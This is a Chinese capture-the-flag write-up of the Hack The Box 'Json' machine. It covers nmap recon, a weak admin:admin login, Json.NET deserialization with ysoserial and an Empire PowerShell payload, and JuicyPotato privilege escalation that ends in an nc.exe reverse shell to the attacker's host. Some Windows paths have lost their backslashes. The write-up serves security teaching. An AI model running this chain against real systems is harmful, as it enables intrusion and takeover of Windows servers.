摘要
-
Json.net 反序列 getshell
-
JuicePotato 提权
信息收集
nmap 扫出了 22 , 80 端口
nmap -sC -sV -p- -T4 10.10.10.158
Host is up (0.052s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
主页登录盲猜弱口令
admin:admin
进去管理系统没什么功能
登录框抓包发现猫腻
改包为GET后发现bearer参数
bearer参数是json类型
把 json 参数打乱
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",hello world}
Json.net反序列 getshell
发现json.net反序列
利用 ysoserial.exe 进行参数注入getshell
ysoserial.exe 配合 empire的powershell payload 获取shell
empire下操作:
./empire
uselistener http
set Host http://10.10.xx.xx:4444
set Port 4444
execute
back
launcher powershell
>>获得$$Empire payload$$
windows下操作:
ysoserial.exe -g ObjectDataProvider -f json.net -c "$$Empire Payload$$" -o base64
获取user.txt
Juice potato 提权
检查windows版本
(empire:XXXXXXX)shell systeminfo | findstr Windows
OS Name: Microsoft Windows Server 2012 R2 Datacenter
用户有 SeImpersonatePrivilege 权限
(empire:XXXXXXX)shell whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
windows server 2019之前可以使用 juicypotato 提权工具
依靠 SeImpersonatePrivilege 权限,我们应该可以提到 system 权限
nc -lvp 4444
(empire:XXXXXXX)cd windowstemp
(empire:XXXXXXX)shell copy \10.10.xx.xxn00BJuicyPotato.exe .
(empire:XXXXXXX)shell copy \10.10.xx.xxn00Bnc.exe .
(empire:XXXXXXX)shell echo c:windowstempnc.exe 10.10.xx.xx 4444 -e cmd.exe > start.bat
(empire:XXXXXXX)shell JuicyPotato.exe -l 1337 -p C:\windowstempstart.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
获取root.txt,提权过程没时间复现,思路是对的。
手握日月摘星辰,安全路上永不止步。
- Khan攻防安全实验室
本文始发于微信公众号(Khan安全攻防实验室):Hack the box-Json
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论